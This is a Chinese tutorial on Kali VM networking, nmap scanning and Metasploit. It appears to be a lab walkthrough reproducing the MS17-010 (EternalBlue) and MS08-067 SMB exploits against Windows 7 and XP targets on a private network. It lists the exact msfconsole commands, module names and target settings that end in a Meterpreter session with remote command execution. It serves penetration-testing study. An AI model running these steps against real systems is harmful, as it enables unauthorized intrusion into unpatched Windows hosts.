Kali学习(ms17-010、ms08-067漏洞复现)
目录
一、kali网络设置 NAT模式、桥接上网/仅主机
VMnet0、VMnet1、VMnet8
1.NAT模式 VMnet8
(1)检查服务
(2)创建虚拟网卡
(3)创建kali的网卡信息
(4)验证
2.桥接模式 VMnet0
3.仅主机模式 VMnet1
二、nmap使用
1.端口扫描
指定端口
指定扫描方式
TCP全连接扫描
SYN半链接扫描
2.主机探测
3.服务识别
4.系统识别
三、msfconsole使用
四、 ms17-010 永恒之蓝漏洞复现
五、ms08-067漏洞复现
复现参考:永恒之蓝漏洞复现_ms17-010 漏洞检测工具ms08-067漏洞的复现及所遇到的问题分析
一、kali网络设置 NAT模式、桥接上网/仅主机
kali_NAT模式、桥接上网/仅主机_详细
前提了解:
VMnet0、VMnet1、VMnet8
VMware中VMnet0、VMnet1、VMnet8是什么
安装VMware workstation的时候,默认会安装3块虚拟网卡,分别是VMnet0、VMnet1、VMnet8
三种网卡的区别:
①Adapter=VMnet1=eth0(host-only)
虚拟机之间、主机与虚拟机之间互访,但虚拟机无法访问外网。
②Adapter2=VMnet8=eth8(nat)
虚拟机之间、主机与虚拟机之间互访,虚拟机可以通过主机访问外网,外网无法访问虚拟机。
③Adapter3=VMnet0=eth2(Bridged)
虚拟机相当于一台实体机,可以自由访问与被访问及上网。
1.NAT模式 VMnet8
NAT模式下的kali,子网(ip)不需要与主机处于同一网段。
因为虚拟机有虚拟网卡,就像在windows系统里玩kali一样,他们的物理层公用一个设备-公用主机硬件,但在应用层上他们是相对独立的-互不干扰,可以同时使用。
NAT的作用:能让多台设备共用一个外网IP进行上网。
NAT是什么,为什么能共享主机的IP?
使内网的计算机以NAT(网络地址转换)协议,通过一个公共的网关访问Internet,就像家里的路由器一样,多台设备连接上网,使用的是同一个外网IP。
(1)检查服务
键盘win+r组合键,打开运行,输入services.msc。检查以下几个服务是否正常开启。
(2)创建虚拟网卡
在网络适配器查看是否配置成功
键盘win+r打开运行,输入ncpa.cpl打开网络适配器,正常情况下,与上面配置的信息一致。
这两个信息必须是一致的
(3)创建kali的网卡信息
进入root帐号
在kali的终端输入下面代码(任意一条),用来停止网络服务
systemctl stop NetworkManager
或
service NetworkManager stop
对 /etc/network/interfaces文件 进行修改
vim /etc/network/interfaces
回车之后,打开的这个文件就是,kali的网卡。
为什么是文件?因为linux系统里,万物皆是文件形式。
按下 I键 进行修改,添加如下信息:
auto eth0
iface eth0 inet dhcp
配置完以后,按Esc键,然后再按组合键;+shift,输入wq
然后回到终端界面,输入:
systemctl restart networking
#重启网卡
(4)验证
再输入ifconfig,查看kali是否成功获取到了ip地址
验证能否与外网正常连接
2.桥接模式 VMnet0
桥接就相当于,将创建的虚拟网卡,变成交换机,与主机的网卡连接,使kali可以上网。
先选择桥接的网卡
然后在虚拟机设置里选择网络适配器为桥接
这样就可以使用了,桥接获取的ip地址,与主机处于同一网段。
3.仅主机模式 VMnet1
此模式是将主机与kali加入到一个独立的局域网,kali是不能上网的。
常用于封合测试,防止病毒外泄到Intent。
先选择仅主机的网卡
然后在虚拟机设置里选择网络适配器为仅主机
可以看到主机的ip地址与kali的ip地址,处于同于网段
结果如下:可以与主机互通,不能上网
二、nmap使用
kali的命令行中可以直接使用 nmap 命令。
打开终端,输入 nmap 后回车,可以看到 nmap 的版本,证明 nmap 可用。
1.端口扫描
扫描主机的开放端口,在nmap后面直接跟主机IP(默认扫描1000个端口)
nmap 192.168.189.1
从上图可以看到:它用25.72秒扫描了1000个端口,其中999个端口关闭,结果中列出的1个端口就是开放的端口。
指定端口
扫描指定端口,使用 -p
参数,可以一次扫描单个端口、多个端口、或扫描一个范围的端口
nmap 192.168.189.1 -p 6881
指定扫描方式
通过kali中的 wireshark 抓包分析不同扫描方式的请求信息,从而判断这些方式的区别。
打开kali中的 wireshark,选择抓包的网卡(这里是 eth0 )。
过滤条件
ip.addr ==
192.168.189.1and tcp.port == 6881
意思是:过滤IP地址是 192.168.189.1 并且 端口是 TCP的
6881
端口。
设置完过滤条件后,再进行命令行执行扫描命令,然后查看 wireshark 中的请求包。
TCP全连接扫描
使用 -sT 参数进行TCP全连接扫描。
全连接扫描:使用完整的三次握手建立链接,能够建立链接就判定端口开放,否则判定端口关闭。
nmap 192.168.189.1 -p 6881 -sT
如果端口开放,就会进行完整的三次握手,成功建立链接,扫描结果中,STATE字段显示为 open
如果端口关闭,就只能进行一次握手,无法建立链接,扫描结果中,STATE字段显示为closed
SYN半链接扫描
使用 -sS 参数进行SYN半链接扫描。
半链接扫描:只进行两次握手,对方返回确认帧(ACK=1)就判定端口开放(STATE字段为 open),否则判定端口关闭(STATE字段为 closed)。
nmap 192.168.189.1 -p 6881 -sS
2.主机探测
扫描网段中有哪些主机在线,使用 -sP
参数,不扫描端口。
本质上是Ping扫描,能Ping通有回包,就判定主机在线
nmap -sP 192.168.189.1
它用13.08秒扫描了这个网段的1个IP,这个主机在线
3.服务识别
扫描端口时,默认显示端口对应的服务,但不会显示服务版本
可以使用 -sV
参数,VERSION字段显示服务的详细版本
nmap 192.168.189.1 -p 6881 -sV
4.系统识别
识别 操作系统版本,可以使用 -O
参数
nmap 192.168.189.1 -p 6881 -O
5.扫描结果导出
Nmap使用教程图文教程(超详细)-CSDN博客
三、msfconsole使用
msfconsole简称msf是一款常见的渗透测试工具,包含了常见的漏洞利用模块和生成各种木马。
Msfconsole是Metasploit框架的主要控制台界面,它提供了一个命令行界面来与Metasploit框架进行交互,并允许用户执行各种渗透测试任务。
Msfconsole是Metasploit的核心组件之一,它充当了一个交互式命令行和一个脚本执行器的角色。
1.打开msfconsole工具:kali终端输入 msfconsole
2.搜索漏洞: search 漏洞名字
3.选择相关模块:use
模块号
4.显示出有效的攻击载荷:show options
5.设置目标ip:set rhosts 目标ip
6.执行攻击:run 或 exploit
7.退出到msf:back
四、 ms17-010 永恒之蓝漏洞复现
准备:
- 攻击机:kali,ip:172.16.17.230
- 靶机:windows7,ip:172.16.17.26
- 工具:nmap(扫描)、msfconsole
查看IP地址,将两台虚拟机设置桥接模式
尝试相互ping通
首先在攻击机上使用nmap扫一下该网段靶机的存活情况
nmap -sP 172.16.17.26
扫描靶机端口前1000的开放情况
nmap 172.16.17.26
接着使用命令扫描该主机的操作系统类型: 为win7
nmap -O 172.16.17.26
分析了相关信息后,就可以使用 nmap
自带的脚本扫描该靶机上的漏洞
nmap --script=vuln 172.16.17.26
发现存在 ms17-010
(永恒之蓝漏洞),使用 msfconsole
使用search
命令,搜索相关漏洞
search ms17-010
使用use
命令,选择相关模块
“EternalBlue SMB Remote Windows Kernel Pool Corruption” 指的是一个利用MS17-010漏洞的攻击模块。
这个模块利用了Windows操作系统中SMB服务的漏洞,允许远程执行代码,进而导致对Windows内核池的破坏。这个漏洞使得攻击者可以远程执行恶意代码,从而获取系统权限或者对系统进行破坏。
use 0 //选择一号模块,可以远程执行代码
使用命令:show options
,显示出有效的攻击载荷
此处使用 set 命令,设置一下 RHOSTS
(靶机的ip地址)
“rhosts”这个词在计算机安全和网络配置中通常指“远程主机”(Remote Hosts).
set RHOSTS 172.16.17.26
设置完成之后,使用 run
或者 exploit
命令执行攻击。
运行成功会出现meterpreter >
Meterpreter 是 Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,
对目标系统进行更深入的渗透,如获取屏幕、上传/下载文件、创建持久后门等。
运行成功后,就可远程命令执行。
e.g 使用ps命令,查看靶机所有进程详细信息
反弹shell
五、ms08-067漏洞复现
上面nmap扫过了win7没有这个漏洞
准备:
- 攻击机:kali,ip:172.16.17.230
- 靶机:win_xp_sp2,ip:172.16.17.164
使用命令扫描该主机的操作系统类型:
nmap -O 172.16.17.164
使用nmap自带的脚本扫描一下靶机上的漏洞
nmap --script=vuln 172.16.17.164
存在 ms08-067漏洞
打开 msfconsole,搜索ms08-067漏洞:search ms08-067
进入该漏洞模块的使用:use 0 或 use exploit/windows/smb/ms08_067_netapi
显示出有效的攻击载荷:show options
显示出可以被攻击的靶机的操作系统型号:show targets
选择简体中文靶机进行攻击:set target 5(Windows XP SP2 英文版 (NX))
设置靶机ip:set RHOSTS 172.16.17.164
再次显示有效的攻击载荷:show options(确保靶机ip设置成功)
使用 run
或者 exploit
命令执行攻击
运行成功meterpreter >,可远程命令执行。
遇到问题:
Exploit failed [unreachable]: Rex::ConnectionTimeout The connection with (172.16.17.164:445) timed out.
可以检查一下靶机防火墙是否关闭,我这里之前没关